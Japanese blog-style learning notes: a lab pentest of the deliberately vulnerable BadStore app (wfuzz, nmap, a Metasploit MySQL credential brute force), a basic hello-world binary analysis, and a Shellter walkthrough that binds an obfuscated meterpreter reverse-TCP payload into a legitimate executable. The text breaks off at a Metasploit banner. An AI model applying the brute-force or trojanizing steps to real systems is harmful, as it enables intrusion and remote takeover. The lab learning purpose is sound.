「ファジング」とは、検査対象のソフトウェア製品に「ファズ（英名：fuzz）」と呼ばれる問題を引き起こしそうなデータを大量に送り込み、その応答や挙動を監視することで脆弱性を検出する検査手法です。例えば、あるソフトウェア製品に極端に長い文字列や通常用いないような制御コードなどを送り込み、状態を観察します。その結果、予期せぬ異常動作や異常終了、再起動などが発生した場合、このソフトウェア製品の処理に何らかの問題がある可能性が高いと判断できます。このように、ソフトウェア製品（の製品開発者）が想定していないデータを入力し、その挙動から脆弱性を見つけ出す検査手法を「ファジング」と言います。 https://www.ipa.go.jp/files/000057652.pdf
Wfuzzのインストールや使い方に関しては以下。
Wfuzz: The Web fuzzer — Wfuzz 2.1.4 documentation
辞書によるディレクトリ探索
# wfuzz -w common.txt --filter "c=200" http://192.168.11.6/FUZZ/ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://192.168.11.6/FUZZ/ Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000111: C=200 13 L 48 W 537 Ch "backup" 000426: C=200 16 L 72 W 886 Ch "icons" 000429: C=200 39 L 256 W 3572 Ch "images" Total time: 4.259704 Processed Requests: 950 Filtered Requests: 947 Requests/sec.: 223.0201
--filter をつけることによって、レスポンスが200のものだけに絞っている。backup というディレクトリに対しては、普通に画面を触っているだけでは導線がなかったため、本来は非公開ディレクトリなのだと推測。
辞書によるパラメータ探索
# wfuzz -w common.txt --filter "chars!=4046" http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000060: C=200 100 L 291 W 4529 Ch "admin" 000398: C=200 92 L 283 W 4431 Ch "guestbook" 000596: C=200 90 L 249 W 3986 Ch "order" 000727: C=200 90 L 274 W 4137 Ch "search" Total time: 20.15347 Processed Requests: 950 Filtered Requests: 946 Requests/sec.: 47.13828
ここで考慮したいのが、間違ったアクションを指定しているとトップ画面に飛ばされるため、404などのレスポンスコードは返ってこない。なので、トップ画面の文字数以外のレスポンスが返ってきた場合、正常に受理されたリクエストであると判断するため、 --filter "chars!=4046" を指定している。
action=admin は通常の画面からの導線としては存在しなかったので、非公開ページだと推測。このページは、管理者権限で色々な情報が見れてしまうページだった。
辞書によるページ探索
# wfuzz -w cgis.txt --filter "c=200" http://192.168.11.6/FUZZ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://192.168.11.6/FUZZ Total requests: 3295 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000100: C=200 89 L 221 W 3583 Ch "./" 002136: C=200 39 L 256 W 3572 Ch "images/" 002137: C=200 39 L 256 W 3572 Ch "images/?pattern=/etc/*&sort=name" 002064: C=200 16 L 72 W 886 Ch "icons/" 000672: C=200 13 L 48 W 537 Ch "backup/" 002756: C=200 15 L 34 W 316 Ch "robots.txt" 001525: C=200 4 L 18 W 237 Ch "cgi-bin/test.cgi" 000005: C=200 89 L 221 W 3583 Ch "%2e/" Total time: 13.89689 Processed Requests: 3295 Filtered Requests: 3287 Requests/sec.: 237.1033
目新しい情報としては、 test.cgi というページ。中身をみると、テストで使用していたユーザ情報的なのが表示されていた。
公開されたデータベースへのログイン
nmapを使って、サーバー上でどのようなサービスが存在するのか確認する。
$ sudo nmap -sS -A 192.168.11.6 Starting Nmap 7.50 ( https://nmap.org ) at 2018-09-09 00:20 JST Nmap scan report for 192.168.11.6 Host is up (0.0013s latency). Not shown: 990 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c) | http-methods: |_ Potentially risky methods: TRACE | http-robots.txt: 5 disallowed entries |_/cgi-bin /scanbot /backup /supplier /upload |_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c |_http-title: Welcome to BadStore.net v1.2.3s 443/tcp open ssl/http Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c) | http-methods: |_ Potentially risky methods: TRACE | http-robots.txt: 5 disallowed entries |_/cgi-bin /scanbot /backup /supplier /upload |_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c |_http-title: Welcome to BadStore.net v1.2.3s | ssl-cert: Subject: commonName=www.badstore.net/organizationName=BadStore.net/stateOrProvinceName=Illinois/countryName=US | Subject Alternative Name: email:root@badstore.net | Not valid before: 2006-05-10T12:52:53 |_Not valid after: 2009-02-02T12:52:53 |_ssl-date: 2018-09-09T00:20:26+00:00; +8h59m54s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_64_WITH_MD5 |_ SSL2_RC2_128_CBC_WITH_MD5 3306/tcp open mysql MySQL 4.1.7-standard | mysql-info: | Protocol: 10 | Version: 4.1.7-standard | Thread ID: 23 | Capabilities flags: 33324 | Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, LongColumnFlag, SupportsCompression | Status: Autocommit |_ Salt: )SGIzLKs%YrQ~I/Mt&Zu
辞書の用意
ログインを試みるため、ユーザーとパスワードの辞書を用意する。今回は、wfuzzのマニュアルの中で見つけた SecLists というのを使ってみることにした。
# git clone https://github.com/danielmiessler/SecLists.git
※ mysql-betterdefaultpasslist.txt をスペース区切りに変えて利用した。
metasploitでログイン情報確認
# msfconsole
+-------------------------------------------------------+
| METASPLOIT by Rapid7 |
+---------------------------+---------------------------+
| __________________ | |
| ==c(______(o(______(_() | |""""""""""""|======[*** |
| )=\ | | EXPLOIT \ |
| // \\ | |_____________\_______ |
| // \\ | |==[msf >]============\ |
| // \\ | |______________________\ |
| // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ |
| // \\ | ********************* |
+---------------------------+---------------------------+
| o O o | \'\/\/\/'/ |
| o O | )======( |
| o | .' LOOT '. |
| |^^^^^^^^^^^^^^|l___ | / _||__ \ |
| | PAYLOAD |""\___, | / (_||_ \ |
| |________________|__|)__| | | __||_) | |
| |(@)(@)"""**|(@)(@)**|(@) | " || " |
| = = = = = = = = = = = = | '--------------' |
+---------------------------+---------------------------+
=[ metasploit v4.16.48-dev ]
+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.11.6
RHOSTS => 192.168.11.6
msf auxiliary(scanner/mysql/mysql_login) > set USERPASS_FILE /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt
USERPASS_FILE => /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt
msf auxiliary(scanner/mysql/mysql_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/mysql/mysql_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.11.6 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf auxiliary(scanner/mysql/mysql_login) > run
[+] 192.168.11.6:3306 - 192.168.11.6:3306 - Found remote MySQL version 4.1.7
[+] 192.168.11.6:3306 - 192.168.11.6:3306 - Success: 'root:mysql'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ログインしてみる
# mysql -h 192.168.11.6 -u root -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 610 Server version: 4.1.7-standard Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]> show databases; +------------+ | Database | +------------+ | badstoredb | +------------+ 1 row in set (0.00 sec) MySQL [(none)]> use badstoredb; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MySQL [badstoredb]> show tables; +----------------------+ | Tables_in_badstoredb | +----------------------+ | acctdb | | itemdb | | orderdb | | userdb | +----------------------+ 4 rows in set (0.01 sec)
総括
BadStore自体が相当古いため、ちょっとあれな感じはしたが、基本的な脆弱性調査の練習をするには結構良かったと思う。
バイナリアン入門 第一回（x64, Linux)
バイナリの講義で、実行ファイルの静的解析を学習したのだが「こんな感じでやるのかー」ぐらいしか理解できなかったため、アセンブリの読解とバイナリ解析の手順に関して、簡単なプログラムから解析を行い、順々にバイナリの解析力をあげていこうと思う。そのための第一歩としてまずは、お馴染みの hello world. を表示するプログラムを解析してみる。
下準備
C言語で以下のようなソースを用意
#include <stdio.h> int main(void) { printf("hello world.\n"); return 0; }
コンパイルする
# gcc hello.c
出力結果の確認
# ./a.out hello world.
解析
下準備はできたのでここから解析手順について説明。自分で用意しているバイナリのため本来調査の必要はないのだが、対象のファイルが何か全くわからない状態を想定して、解析を行ってみる。
表層解析
まずは表層解析としゃれこんで、対象のファイルをデータとして見たとき、どのようなファイルなのかを確認する。
ファイル形式の確認
# file a.out a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f5cceda86933a497d3c81a1ecf87457f753597fe, not stripped
ELF 64-bit からLinuxの実行ファイルだということが判明。
どのような文字列が含まれてるのか確認
文字列としてどのような値が含まれているかも、一応確認してみる。
# strings a.out /lib64/ld-linux-x86-64.so.2 libc.so.6 puts __cxa_finalize __libc_start_main GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable AWAVI AUATL []A\A]A^A_ hello world.
動的解析
本来は、どのような挙動をするか分からないため、仮想環境などで実行するのが好ましいが、今回は表示するだけなのでそのまま実行してみる。
普通に実行
# ./a.out hello world.
ltrace
どのようなライブラリ呼び出しを行っているかも確認。
# ltrace ./a.out
puts("hello world."hello world.
) = 13
+++ exited (status 0) +++
strace
どのようなシステムコールを呼び出しているかも確認。
# strace ./a.out
execve("./a.out", ["./a.out"], 0x7ffcc01548b0 /* 53 vars */) = 0
brk(NULL) = 0x55de02dcd000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=154007, ...}) = 0
mmap(NULL, 154007, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f46ac1d2000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\33\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1800248, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f46ac1d0000
mmap(NULL, 3906272, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f46abc1a000
mprotect(0x7f46abdcb000, 2093056, PROT_NONE) = 0
mmap(0x7f46abfca000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b0000) = 0x7f46abfca000
mmap(0x7f46abfd0000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f46abfd0000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7f46ac1d14c0) = 0
mprotect(0x7f46abfca000, 16384, PROT_READ) = 0
mprotect(0x55de017ed000, 4096, PROT_READ) = 0
mprotect(0x7f46ac1f8000, 4096, PROT_READ) = 0
munmap(0x7f46ac1d2000, 154007) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL) = 0x55de02dcd000
brk(0x55de02dee000) = 0x55de02dee000
write(1, "hello world.\n", 13hello world.
) = 13
exit_group(0) = ?
+++ exited with 0 +++
内容的には、 puts や write が目につく。
静的解析
下準備や動的解析などを間に挟んできたが、本日のメインはこの静的解析。アセンブリと戦わなくてはならないのがここ。ちなみに、今回解析するELF形式の実行ファイルってどんな感じのフォーマットになっているのかという情報は、Wikiにのっているので割愛。（時間ができたらちょっと調べて補足的に載せたい）
https://ja.wikipedia.org/wiki/Executable_and_Linkable_Format
逆アセンブル
とにもかくにも、まずは逆アセンブルにより対象ファイルのアセンブリを吐き出す必要がある。実際の解析では IDA などを使った方が視覚的にも使いやすさ的にも良いのだが、今回の内容はうっすいため objdump で吐き出す。IDAに関してはこの後に続くであろうバイナリ解析N回目で使っていこうと思う。
# objdump -M intel -S a.out > hello.asm
Mオプションをつけないと、AT&T形式でのアセンブラが吐き出されるため今回はIntel形式での出力となるようにしている。
a.out: ファイル形式 elf64-x86-64 セクション .init の逆アセンブル: 00000000000004e8 <_init>: 4e8: 48 83 ec 08 sub rsp,0x8 4ec: 48 8b 05 f5 0a 20 00 mov rax,QWORD PTR [rip+0x200af5] # 200fe8 <__gmon_start__> 4f3: 48 85 c0 test rax,rax 4f6: 74 02 je 4fa <_init+0x12> 4f8: ff d0 call rax 4fa: 48 83 c4 08 add rsp,0x8 4fe: c3 ret セクション .plt の逆アセンブル: 0000000000000500 <.plt>: 500: ff 35 02 0b 20 00 push QWORD PTR [rip+0x200b02] # 201008 <_GLOBAL_OFFSET_TABLE_+0x8> 506: ff 25 04 0b 20 00 jmp QWORD PTR [rip+0x200b04] # 201010 <_GLOBAL_OFFSET_TABLE_+0x10> 50c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 0000000000000510 <puts@plt>: 510: ff 25 02 0b 20 00 jmp QWORD PTR [rip+0x200b02] # 201018 <puts@GLIBC_2.2.5> 516: 68 00 00 00 00 push 0x0 51b: e9 e0 ff ff ff jmp 500 <.plt> セクション .plt.got の逆アセンブル: 0000000000000520 <__cxa_finalize@plt>: 520: ff 25 d2 0a 20 00 jmp QWORD PTR [rip+0x200ad2] # 200ff8 <__cxa_finalize@GLIBC_2.2.5> 526: 66 90 xchg ax,ax セクション .text の逆アセンブル: 0000000000000530 <_start>: 530: 31 ed xor ebp,ebp 532: 49 89 d1 mov r9,rdx 535: 5e pop rsi 536: 48 89 e2 mov rdx,rsp 539: 48 83 e4 f0 and rsp,0xfffffffffffffff0 53d: 50 push rax 53e: 54 push rsp 53f: 4c 8d 05 8a 01 00 00 lea r8,[rip+0x18a] # 6d0 <__libc_csu_fini> 546: 48 8d 0d 13 01 00 00 lea rcx,[rip+0x113] # 660 <__libc_csu_init> 54d: 48 8d 3d e6 00 00 00 lea rdi,[rip+0xe6] # 63a <main> 554: ff 15 86 0a 20 00 call QWORD PTR [rip+0x200a86] # 200fe0 <__libc_start_main@GLIBC_2.2.5> 55a: f4 hlt 55b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0] 0000000000000560 <deregister_tm_clones>: 560: 48 8d 3d c9 0a 20 00 lea rdi,[rip+0x200ac9] # 201030 <__TMC_END__> 567: 55 push rbp 568: 48 8d 05 c1 0a 20 00 lea rax,[rip+0x200ac1] # 201030 <__TMC_END__> 56f: 48 39 f8 cmp rax,rdi 572: 48 89 e5 mov rbp,rsp 575: 74 19 je 590 <deregister_tm_clones+0x30> 577: 48 8b 05 5a 0a 20 00 mov rax,QWORD PTR [rip+0x200a5a] # 200fd8 <_ITM_deregisterTMCloneTable> 57e: 48 85 c0 test rax,rax 581: 74 0d je 590 <deregister_tm_clones+0x30> 583: 5d pop rbp 584: ff e0 jmp rax 586: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 58d: 00 00 00 590: 5d pop rbp 591: c3 ret 592: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 596: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 59d: 00 00 00 00000000000005a0 <register_tm_clones>: 5a0: 48 8d 3d 89 0a 20 00 lea rdi,[rip+0x200a89] # 201030 <__TMC_END__> 5a7: 48 8d 35 82 0a 20 00 lea rsi,[rip+0x200a82] # 201030 <__TMC_END__> 5ae: 55 push rbp 5af: 48 29 fe sub rsi,rdi 5b2: 48 89 e5 mov rbp,rsp 5b5: 48 c1 fe 03 sar rsi,0x3 5b9: 48 89 f0 mov rax,rsi 5bc: 48 c1 e8 3f shr rax,0x3f 5c0: 48 01 c6 add rsi,rax 5c3: 48 d1 fe sar rsi,1 5c6: 74 18 je 5e0 <register_tm_clones+0x40> 5c8: 48 8b 05 21 0a 20 00 mov rax,QWORD PTR [rip+0x200a21] # 200ff0 <_ITM_registerTMCloneTable> 5cf: 48 85 c0 test rax,rax 5d2: 74 0c je 5e0 <register_tm_clones+0x40> 5d4: 5d pop rbp 5d5: ff e0 jmp rax 5d7: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0] 5de: 00 00 5e0: 5d pop rbp 5e1: c3 ret 5e2: 0f 1f 40 00 nop DWORD PTR [rax+0x0] 5e6: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 5ed: 00 00 00 00000000000005f0 <__do_global_dtors_aux>: 5f0: 80 3d 39 0a 20 00 00 cmp BYTE PTR [rip+0x200a39],0x0 # 201030 <__TMC_END__> 5f7: 75 2f jne 628 <__do_global_dtors_aux+0x38> 5f9: 48 83 3d f7 09 20 00 cmp QWORD PTR [rip+0x2009f7],0x0 # 200ff8 <__cxa_finalize@GLIBC_2.2.5> 600: 00 601: 55 push rbp 602: 48 89 e5 mov rbp,rsp 605: 74 0c je 613 <__do_global_dtors_aux+0x23> 607: 48 8b 3d 1a 0a 20 00 mov rdi,QWORD PTR [rip+0x200a1a] # 201028 <__dso_handle> 60e: e8 0d ff ff ff call 520 <__cxa_finalize@plt> 613: e8 48 ff ff ff call 560 <deregister_tm_clones> 618: c6 05 11 0a 20 00 01 mov BYTE PTR [rip+0x200a11],0x1 # 201030 <__TMC_END__> 61f: 5d pop rbp 620: c3 ret 621: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] 628: f3 c3 repz ret 62a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] 0000000000000630 <frame_dummy>: 630: 55 push rbp 631: 48 89 e5 mov rbp,rsp 634: 5d pop rbp 635: e9 66 ff ff ff jmp 5a0 <register_tm_clones> 000000000000063a <main>: 63a: 55 push rbp 63b: 48 89 e5 mov rbp,rsp 63e: 48 8d 3d 9f 00 00 00 lea rdi,[rip+0x9f] # 6e4 <_IO_stdin_used+0x4> 645: e8 c6 fe ff ff call 510 <puts@plt> 64a: b8 00 00 00 00 mov eax,0x0 64f: 5d pop rbp 650: c3 ret 651: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 658: 00 00 00 65b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0] 0000000000000660 <__libc_csu_init>: 660: 41 57 push r15 662: 41 56 push r14 664: 49 89 d7 mov r15,rdx 667: 41 55 push r13 669: 41 54 push r12 66b: 4c 8d 25 76 07 20 00 lea r12,[rip+0x200776] # 200de8 <__frame_dummy_init_array_entry> 672: 55 push rbp 673: 48 8d 2d 76 07 20 00 lea rbp,[rip+0x200776] # 200df0 <__init_array_end> 67a: 53 push rbx 67b: 41 89 fd mov r13d,edi 67e: 49 89 f6 mov r14,rsi 681: 4c 29 e5 sub rbp,r12 684: 48 83 ec 08 sub rsp,0x8 688: 48 c1 fd 03 sar rbp,0x3 68c: e8 57 fe ff ff call 4e8 <_init> 691: 48 85 ed test rbp,rbp 694: 74 20 je 6b6 <__libc_csu_init+0x56> 696: 31 db xor ebx,ebx 698: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 69f: 00 6a0: 4c 89 fa mov rdx,r15 6a3: 4c 89 f6 mov rsi,r14 6a6: 44 89 ef mov edi,r13d 6a9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 6ad: 48 83 c3 01 add rbx,0x1 6b1: 48 39 dd cmp rbp,rbx 6b4: 75 ea jne 6a0 <__libc_csu_init+0x40> 6b6: 48 83 c4 08 add rsp,0x8 6ba: 5b pop rbx 6bb: 5d pop rbp 6bc: 41 5c pop r12 6be: 41 5d pop r13 6c0: 41 5e pop r14 6c2: 41 5f pop r15 6c4: c3 ret 6c5: 90 nop 6c6: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 6cd: 00 00 00 00000000000006d0 <__libc_csu_fini>: 6d0: f3 c3 repz ret セクション .fini の逆アセンブル: 00000000000006d4 <_fini>: 6d4: 48 83 ec 08 sub rsp,0x8 6d8: 48 83 c4 08 add rsp,0x8 6dc: c3 ret
解析してみる
一番最初に、実行されるmain関数を探してみる。数行の命令がある。
000000000000063a <main>: 63a: 55 push rbp 63b: 48 89 e5 mov rbp,rsp 63e: 48 8d 3d 9f 00 00 00 lea rdi,[rip+0x9f] # 6e4 <_IO_stdin_used+0x4> 645: e8 c6 fe ff ff call 510 <puts@plt> 64a: b8 00 00 00 00 mov eax,0x0 64f: 5d pop rbp 650: c3 ret 651: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 658: 00 00 00 65b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
ざっくりみていく。 最初に出てくる2行は、関数呼び出しをする際のお決まり「Function prologue」コード
63a: 55 push rbp 63b: 48 89 e5 mov rbp,rsp
つぎにここで、文字列 hello world. の先頭に当たるアドレスを rdi レジスタに設定している。printfするときは、フォーマットとなる文字列がrdiに設定されるらしい。
63e: 48 8d 3d 9f 00 00 00 lea rdi,[rip+0x9f] # 6e4 <_IO_stdin_used+0x4>
hello world. と言う文字列はどこからくるの？という疑問が沸いてくるが、これは # 6e4 <_IO_stdin_used+0x4> の部分から読み取ることができる。 6e4 というアドレスはrodataセクション内のアドレスのため、以下のようなコマンドで確認することが可能。ちなみに6e4はrip(0x645 <- 次の命令のアドレス) + 0x9fが対象のアドレスになる。
# objdump -s -j .rodata a.out a.out: ファイル形式 elf64-x86-64 セクション .rodata の内容: 06e0 01000200 68656c6c 6f20776f 726c642e ....hello world. 06f0 00
そして、ここではコンソールへの文字列表示を行っている。
645: e8 c6 fe ff ff call 510 <puts@plt>
アキュムレーターは、関数の戻り値を格納するときにも使用するらしい。今回は正常終了の 0 を eax レジスタに設定している。
64a: b8 00 00 00 00 mov eax,0x0
その後は、スタックに積んでいたベースポインタレジスタを rbp にpopしてきて（Function epilogue）retでmain関数から復帰する。
64f: 5d pop rbp 650: c3 ret
総括
すごくざっくりと走ったが、このくらいの内容から始めるなら何とかなりそうな気がしてきた。
参考になるサイト
レジスタについてまとまっている
Shellterによるシェルコードのバインド
Shellterダウンロード
以下のサイトからshellter.exeが含まれたzipをダウンロードする。
https://www.shellterproject.com/download/
シェルコードをバインドする
バインドさせたい適当なexeファイルを用意したら、shellter.exeで対象のexeにバインドさせる。
今回は Kali Linuxを使っているので、wineを使ってshellter.exeを実行する。
root@bad:~/Downloads/shellter# wine shellter.exe
1010101 01 10 0100110 10 01 11001001 0011101 001001
11 10 01 00 01 01 01 10 11 10
0010011 1110001 11011 11 10 00 10011 011001
11 00 10 01 11 01 11 01 01 11
0010010 11 00 0011010 100111 000111 00 1100011 01 10 v7.1
www.ShellterProject.com Wine Mode
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /root/Downloads/Stirling.exe
**********
* Backup *
**********
Backup: Shellter_Backups\Stirling.exe
********************************
* PE Compatibility Information *
********************************
Minimum Supported Windows OS: 4.0
Note: It refers to the minimum required Windows version for the target
application to run. This information is taken directly from the
PE header and might be not always accurate.
******************
* Packed PE Info *
******************
Status: Possibly Not Packed - The EntryPoint is located in the first section!
***********************
* PE Info Elimination *
***********************
Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.
Status: All related information has been eliminated!
****************
* Tracing Mode *
****************
Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.
Note: In Auto Mode, Shellter will trace a random number of instructions
for a maximum time of approximately 30 seconds in native Windows
hosts and for 60 seconds when used in Wine.
DisASM.dll was created successfully!
Instructions Traced: 15694
Tracing Time Approx: 1.02 mins.
Starting First Stage Filtering...
*************************
* First Stage Filtering *
*************************
Filtering Time Approx: 0.0006 mins.
Enable Stealth Mode? (Y/N/H): Y
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): L
Select payload by index: 1
***************************
* meterpreter_reverse_tcp *
***************************
SET LHOST: 192.168.11.8
SET LPORT: 8888
****************
* Payload Info *
****************
Payload: meterpreter_reverse_tcp
Size: 281 bytes
Reflective Loader: NO
Encoded-Payload Handling: Enabled
Handler Type: IAT
******************
* Encoding Stage *
******************
Encoding Payload: Done!
****************************
* Assembling Decoder Stage *
****************************
Assembling Decoder: Done!
***********************************
* Binding Decoder & Payload Stage *
***********************************
Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
code, and binding it with the payload.
Please wait...
Binding: Done!
*********************
* IAT Handler Stage *
*********************
Fetching IAT Pointers to Memory Manipulation APIs...
0. VirtualAlloc --> IAT[49c1dc]
1. VirtualAllocEx --> N/A
2. VirtualProtect --> N/A
3. VirtualProtectEx --> N/A
4. HeapCreate/HeapAlloc --> IAT[49c1d0]/IAT[49c264]
5. LoadLibrary/GetProcAddress --> IAT[49c364]/IAT[49c37c]
6. GetModuleHandle/GetProcAddress --> IAT[49c378]/IAT[49c37c]
7. CreateFileMapping/MapViewOfFile --> IAT[49c3b0]/IAT[49c3b4]
Using Method --> 6
***************************
* IAT Handler Obfuscation *
***************************
Status: Binding the IAT Handler with Thread Context Aware Polymorphic code.
Please wait...
Code Generation Time Approx: 0.036 seconds.
*************************
* PolyMorphic Junk Code *
*************************
Type: Engine
Generating: ~486 bytes of PolyMorphic Junk Code
Please wait...
Generated: 488 bytes
Code Generation Time Approx: 0.032 seconds.
Starting Second Stage Filtering...
**************************
* Second Stage Filtering *
**************************
Filtering Time Approx: 0.0006 mins.
*******************
* Injection Stage *
*******************
Virtual Address: 0x46b0ed
File Offset: 0x6b0ed
Section: .text
Adjusting stub pointers to IAT...
Done!
Adjusting Call Instructions Relative Pointers...
Done!
Injection Completed!
*******************
* PE Checksum Fix *
*******************
Status: Valid PE Checksum has been set!
Original Checksum: 0x0
Computed Checksum: 0xd7e2d
**********************
* Verification Stage *
**********************
Info: Shellter will verify that the first instruction of the
injected code will be reached successfully.
If polymorphic code has been added, then the first
instruction refers to that and not to the effective
payload.
Max waiting time: 10 seconds.
Warning!
If the PE target spawns a child process of itself before
reaching the injection point, then the injected code will
be executed in that process. In that case Shellter won't
have any control over it during this test.
You know what you are doing, right? ;o)
Injection: Verified!
Press [Enter] to continue...
接続を待ち受ける
シェルコード入りのexeを実行する前に、msfconsoleを使ってreverse_tcpでの接続を受け付けるようにしとく。
準備ができてからexeを実行すると、exeを実行したマシンのシェルが叩けるようになる。
Meterpreter session 1 closed error
最初に使っていたmsfconsoleのバージョンv4.14.28では、Meterpreter session 1 closedというエラーが発生してreverse_tcpでの接続が受け付けられなかった。以下のページを参考にバージョンアップしたら直ったのでメモ。
$ msfconsole
Found a database at /Users/msf/.msf4/db, checking to see if it is started
Starting database at /Users/msf/.msf4/db...success
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
